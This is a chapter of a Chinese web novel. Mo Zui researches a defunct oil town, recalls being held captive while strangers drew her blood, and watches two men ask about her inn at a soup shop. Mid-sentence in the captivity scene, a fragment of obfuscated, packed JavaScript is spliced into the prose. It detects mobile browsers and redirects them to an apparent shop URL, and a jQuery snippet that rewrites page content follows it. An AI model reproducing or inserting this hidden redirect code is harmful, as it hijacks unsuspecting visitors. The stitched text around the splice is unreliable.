莫醉开着小皮卡一路向茫崖的方向开,带着墨镜抵挡雪地反射的强光。车辆碾过厚厚的积雪,发出绵密的咯吱声,与引擎的震颤和空调的嗡鸣揉杂在一起,成了雪日专属的交响乐。 行驶在茫茫雪地上,时间变得混乱而模糊。莫醉不看表,只凭借太阳的位置,勉强估算时间,别有一番趣味。 出发时太阳正在东升,到达时已是夕阳西落。 茫崖没下雪,地面泛着干燥的白,狂风呼啸着穿过小城,如厉鬼嘶吼。街上没什么人,零星几个都是下班的石油工人,比下雪的格尔木还要空荡寂寥。 盛唐旅馆附近的店面已关门歇业,莫醉钻回暖烘烘的旅店,紧绷的精神瞬间松散。她抹黑走回二楼房间,洗了个暖洋洋的热水澡。从浴室里走出时,顺手从放在门口的袋子里取出相册和塑料垫板,到书桌边打开的台灯,仔细研究。 相册又看了几遍,未发现新的线索。那张泛黄的合照是仅存的、有关祖母年轻时的记录,从这张照片之后,祖母的人生仿佛走入另一个岔口,只有丈夫、儿子和孙女,再无法窥见丁点她的曾经。 莫醉打开电脑,开始搜索关于冷湖石油的资料。 冷湖石油小镇位于茫崖东边几百公里外。上个世纪五十年代,冷湖附近发现油田,无数石油工人、技术人员和有志青年涌入荒凉的戈壁,加入开采石油的队伍。冷湖石油镇因油田而生,兴盛于上个世纪六七十年代,曾是市的规模。石油工人将自己的一生奉献给这里,在这里安家落户娶妻生子,鼎盛时,市中人口超过十万人。 八十年代后,油田萎缩,小镇逐渐衰败,镇中居民陆续搬离。到上个世纪九十年代后,曾经繁华的石油镇彻底没落,大部分石油工人迁往几百公里外的敦煌七里镇,剩下的人四散去全国各地。 如今的冷湖被断壁残垣所包围,只有零星几条街道还维持着城市的设施。 也不知道那张照片拍摄于冷湖石油小镇的哪个地方。 莫醉抓了抓头发,视线划向一边的塑料垫板和英文纸张。 用翻译软件将纸上的英文翻译成中文后,莫醉依旧看不明白。这似乎是个医学研究论文的草稿,只有密密麻麻的想法,没有能成句成段的结论。 “血液抽取……骨髓抽取……实验……置换……” 莫醉轻声念叨着,再次回忆起那段最痛苦的记忆。 那是在祖母死后半个月。 那时她刚给祖母办完销户,浑浑噩噩地往家走,经过一条没有监控的小胡同,被人掳走,关进了一个房间。 房间并不简陋,床上被褥舒适,桌上还放着几本小说。只除了没有窗户。门上的小窗口是她唯一看到外面的地方,外面是个简陋的走廊,灰扑扑的,还是毛坯的模样。 她哭喊几天,无人理会,心情倒是逐渐平静。之后,每次有人来给她送饭,她都试图与那些人交流,可那群人却视她如死物,竟是一个字都不说。又是几天,来了一群穿着防护服的人,走进屋子控制住她后开始抽血,每次只抽几十毫升,不知道要拿去做什么。 她无力反抗,只能顺从。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570897|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 又不知过了多久后的一日,抽血的人离开房间,她本已经心灰意冷,失神盯着开合的铁门,不再做无谓的挣扎,走在最后的人却突然隔着护目镜看了她一眼,颇为意味深长。 她突然意识到什么,等到无人时再去拉那扇门,那扇门竟然开了。 她小心翼翼走出房间,沿着走廊向前走,心提到嗓子眼里,大气都不敢喘。到尽头时碰到一扇老式菱形拉闸铁门,缝隙可以穿过手指。她拔下头上的发卡,穿过铁门去开外面的锁,手抖得不成样子,几次都没能将发卡捅进锁眼中。 好在她成功开锁,从监禁她的地方跑了出来。 出来后,正是深夜,身后是一栋烂尾楼,关押她的正是烂尾楼的地下。四周都是老旧平房,吵吵嚷嚷,混乱但有烟火气。街上偶有经过的行人,向脏兮兮的她投射奇怪的目光。 那时的她对周遭的一切都充满不信任,抬头看着远处高楼大厦的灯火通明,和启明星似的,让她不自觉地靠近。 那里是cbd,大楼里有还在加班的人,楼的附近一定有监控,大堂有安保,兴许附近还有警局。 当时的她想不出比这更安全的地方。 她走着走着,感觉身后有人跟随,忍不住奔跑起来,就在快要被追上时,一个派出所出现在她的面前。她冲进派出所寻求帮助,被当时值班的民警救了下来,那一刻,她终于放下心来,坐在冰凉的金属椅子上,在白炽灯光线下,嚎啕大哭。 那是她记忆中最后一次大哭。 警察们很认真地对待她的案子,按照她的描述,找到了附近的几个烂尾楼,可无一例外,均未发现关押她的地下室。 那个地方仿佛在她离开后的一瞬间便消失了,连半点痕迹都找不到。警察们由最初的相信逐渐演变为怀疑,再无法做更多的事,更没办法派人保护她。若不是她胳膊上密密麻麻的针孔,和一身的狼狈,就连莫醉自己都要以为这一切不过是她的一场噩梦。 书桌昏黄的灯光下,莫醉从记忆中脱身,将手中的英文纸丢到一旁,轻声嘀咕着:“抽血……血液置换……” 纸上的内容会不会和那时的事有关呢? - 盛唐旅馆东边的街上有一家羊汤,店面不大,店内桌椅油乎乎的,一看就是开了很多年,但因为味道好,分量实诚,很受当地人欢迎。 也很受莫醉喜欢。 操持店中生意的是一个叫阿妙的姑娘。阿妙姓阿名妙,比莫醉大几岁,生得不高,一头齐耳短发,极为泼辣。店是她外婆几十年前开的,外婆年纪大了,传给了她的母亲,等到她母亲不想做了,便交给了阿妙。 莫醉定居茫崖后人生地不熟,最初几个月不太敢与人来往,因常去店里吃饭,一来二去与阿妙相识,成了朋友。有时莫醉离开茫崖,会在卷帘门上贴阿妙的联系方式,若有人要寻她,或是因紧急情况需要进入旅店,可去找阿妙。 最繁忙的早餐时段过去,莫醉溜溜达达来到羊汤店。店内只有一桌客人,似乎是刚来,阿妙正站在他们桌旁,给他们点单。莫醉正要和阿妙打招呼,阿妙看到她的身影,抢先一步扬声道:“姑娘一位吗?要吃点啥?” 莫醉一顿,若无其事走到门边的桌旁坐下:“我先看看菜单。” “成,那你先看着,我先给这桌客人点单。”阿妙转过头,“抱歉啊,你们刚刚说的啥?哪家旅店的店主?” 莫醉捏起桌上油乎乎的塑封菜单,借着菜单的遮挡,悄悄打量那桌客人。 两个男人,一高一矮,穿着黑色的面包服,寸头,瞧着挺壮实。高个子重复了一遍问题:“就是西边那家盛唐旅馆。我看这几日一直关着门,门上贴着你的店名和联系方式,就过来问问。” 阿妙将点菜的小板子塞进围裙里:“估计出去玩了吧。你也知道,我们这里,过了七八九那几个月,很少有人来,小旅馆和小饭店没什么生意,很多都关门歇业,等着来年旺季再开门。不然要是一直开门营业,没客人不说,水啊电啊,也要费不少钱,你们说是不?我们这儿最大的宾馆是茫崖大酒店,一年四季都开着,你们要是想找住宿,可以去那儿看看。” 高个子笑道:“我们是听一个朋友说,这家小旅馆特别好,所以才来问问的。你可知道店主什么时候回来?” “那哪儿能知道啊。估计明年四五月吧。”阿妙收起脸上的笑意,眉头皱起,声音冷下来,“我瞧着你们不像是来吃饭的啊?也不像是来旅游的……你们到底是干什么的?为什么一直打听盛唐的那个糟老头子?” “糟老头子?”高个子男人愕然,“那个旅馆老板是个男人?” 阿妙翻了个白眼:“怎么,你们朋友和你们介绍的时候连老板是男是女都没说?你们到底点不点菜?不吃就出去,白白浪费我的口舌。”